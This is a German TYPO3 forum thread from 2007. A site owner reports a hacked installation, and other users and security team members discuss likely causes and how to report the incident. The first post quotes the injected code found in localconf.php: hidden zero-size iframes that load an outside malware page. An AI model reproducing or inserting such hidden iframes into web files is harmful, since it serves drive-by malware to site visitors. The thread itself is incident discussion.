|
#1
29.06.07, 07:15
| ||||
| ||||
Hallo COmmunity! Ich glaub mich trifft der Schlag... Heute wollte ich mich auf einer der Kundenseiten einloggen im BE. Komm aber nicht mehr hin und ein Trojaner wurde geladen... Daraufhin hab ich kurz in die localconf.php gesehen.. Code: // Updated by TYPO3 Extension Manager 28-01-2007 18:45:42 ?><html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html> <html><iframe width=0 height=0 frameborder=0 src=http://www.free20.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html> Weiters kann ich mich nicht mehr einloggen im BE und im Installtool logge ich mich ein, und beim nächsten Klick auf einen Menüpunkt im Installtool hauts mich raus... Konnte gerade im Inet darüber was finden, wobei hier aber das Joomla betroffen war. Die Version ist 4.0 Hilfe, da hilft nur noch löschen und neuinstallieren, oder?
__________________ Bitte markiere Deinen Thread als Gelöst, wenn er es ist! Wie geht das? Hast Du ihn eventl. selbst gelöst? Dann lass uns an der Lösung teilhaben! Das Anzeigen von Typoscript in Beiträgen steuern Geändert von josDesign (29.06.07 um 09:09 Uhr) Grund: GELÖÖÖST!          |
| Sponsored Links |
| Unterstützen Sie das Forum und buchen Sie Ihren Webspace beim T3N Testsieger, dem Webhoster der auch dieses Forum hostet!  |
|
#2
29.06.07, 07:27
| ||||
| ||||
| wohl macina_banners/ric_rotation installiert gewesen?
__________________ TYPO3 3.7./3.8.X/4.0.X/4.1.1 just2b.com | Google Maps | SmoothGallery | Das grösste werbefreie TYPO3 Forum typo3.net | Content-Management-Systeme mit TYPO3 & RedDot |
|
#3
29.06.07, 07:33
| ||||
| ||||
| Nein, noch gar nichts! Ein nacktes T3 in der Version 4.0. Welches noch in der Testphase war. Keine zusätzliche Extension programmiert. Hab jetzt alles vom Server gelöscht, da wir nicht viel Webspace haben dort.
__________________ Bitte markiere Deinen Thread als Gelöst, wenn er es ist! Wie geht das? Hast Du ihn eventl. selbst gelöst? Dann lass uns an der Lösung teilhaben! Das Anzeigen von Typoscript in Beiträgen steuern |
|
#4
29.06.07, 08:52
| |||
| |||
| HI ho Es kann auch das hier gewesen sein: http://news.typo3.org/news/article/t...tion-in-typo3/ Evtl. auch gar nix von dem, sondern nur ein unsicherer Webserver und ein böser Nachbar. Gruß AFisch
__________________ TYPO3 Hosting für sorglose Projekte - www.webhosting-franken.de |
|
#5
29.06.07, 08:55
| ||||
| ||||
| RRichtig! Die Seite lieg noch auf den Servern von easyserver.at. Und Supporttechnisch gesehen unter dem Hund. Leider sind sie sehr billig und das passt dem Kunden recht gut. Hmm, vielen Dank!
__________________ Bitte markiere Deinen Thread als Gelöst, wenn er es ist! Wie geht das? Hast Du ihn eventl. selbst gelöst? Dann lass uns an der Lösung teilhaben! Das Anzeigen von Typoscript in Beiträgen steuern |
|
#6
29.06.07, 09:26
| |||
| |||
Wer von diesem "iFrame" Problem betroffen ist sollte sich an das TYPO3 Security Team wenden (http://typo3.org/teams/security/contact-us) Interessant für uns sind in dem Zusammenhang folgende Informationen: - verwendete TYPO3 Version - Liste der installierten Extensions - wird ggf. eine Software für die Verwaltung des Servers eingesetzt, wie cPanel, confixx, plesk o.ä. - Apache Logfiles Jochen Weiland |
|
#7
29.06.07, 09:32
| |||
| |||
Hallo, dezeit grassiert leider eine größere Welle solcher exploits. Dabei handelt es sich um *kein* TYPO3-spezifisches Problem. Auch viele andere systeme sind betroffen, es wurden scheinbar die verschiedensten Lücken ausgenutzt. Das TYPO3 Security-team ist sehr an einer Aufklärung der vorgänge interessiert. Wenn möglich bitten wir das Security-Team mit Detailangaben zu dem Hack zu informieren. http://typo3.org/teams/security/contact-us/ In diesem Fall wäre es sicherlich lohnenswert: a) die Version der rtehtmlarea-extension mitzuteilen b) in den Apahce-Logs zu prüfen ob da unberechtigte Zugriffe auf eine der rtehtmlarea-dateien erfolgt sind (vgl. dazu: http://news.typo3.org/news/article/t...tion-in-typo3/) Gruß, Peter Niederlag |
Analyse |
#8
29.06.07, 09:32
| ||||
| ||||
| Hallo Jochen! Wow, ich bekomme eine Antwort von einem zu den ich hochsehe!  Du Jochen, das ist jetzt blöd.. Die Version ist 4.0 Nur die inkludierten Extensions wie sie damals im Februar im Package dabei waren Alles andere werde ich nie herausfinden können, da der WEbspace-Provider wo die Seite NOCH liegt (ab nächster Woche nicht mehr) keinen Support gibt. Und wenn dann nur, wenn man ein paar Wochen wartet. :sad: Sorry! Offtopic: Eine andere Frage Jochen. Auf deiner WEbsite gabs das gute Tutorial zum Thema Mahrsprachigkeit. Wird dies gerade upgedatet, oder??? Es ist nicht mehr online, und ich würds gerne nochmal eine durchlesen... !!! lieGRÜ jos
__________________ Bitte markiere Deinen Thread als Gelöst, wenn er es ist! Wie geht das? Hast Du ihn eventl. selbst gelöst? Dann lass uns an der Lösung teilhaben! Das Anzeigen von Typoscript in Beiträgen steuern |
|
#9
29.06.07, 09:33
| ||||
| ||||
| Zitat:
__________________ mfg Matthias TYPO3-Consultant -- TYPO3 Entwicklung Excellentes TYPO3-Hosting vom Fachmann |
|
#10
29.06.07, 09:45
| ||||
| ||||
| Zitat:
__________________ Bitte markiere Deinen Thread als Gelöst, wenn er es ist! Wie geht das? Hast Du ihn eventl. selbst gelöst? Dann lass uns an der Lösung teilhaben! Das Anzeigen von Typoscript in Beiträgen steuern |
 |
| Lesezeichen |
| Themen-Optionen | |
| Ansicht | Thema bewerten |
Linear-Darstellung
| |
LinkBacks (?)
LinkBack to this Thread: http://www.typo3forum.net/forum/typo3-4-x-backend/21640-sicherheitsl-cke-eindringling-localconf-php.html | ||||
| Erstellt von | For | Type | Datum | |
| mpack angriffe per iframe nun auch gegen TYPO3 | This thread | Refback | 11.07.07 16:59 | |
|
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Sicherheitslücke in srfeuserregister ? | TimS | TYPO3 4.x FE-User | 1 | 05.10.07 15:44 |
| Neue Sicherheitslücke | tom | TYPO3 4.x Installation und Updates | 0 | 22.02.07 08:15 |
| Sicherheitslücke RTE | ghoti | TYPO3 4.x Rich Text Editor | 3 | 21.12.06 12:27 |
| Sicherheitslücke | pinkpanther | TYPO3 4.x Installation und Updates | 2 | 08.06.06 19:04 |
| Wichtig!: Sicherheitslücke im Forum! | mavo | Forum Bar | 5 | 29.09.04 15:13 |
Alle Zeitangaben in WEZ +1. Es ist jetzt 17:09 Uhr.
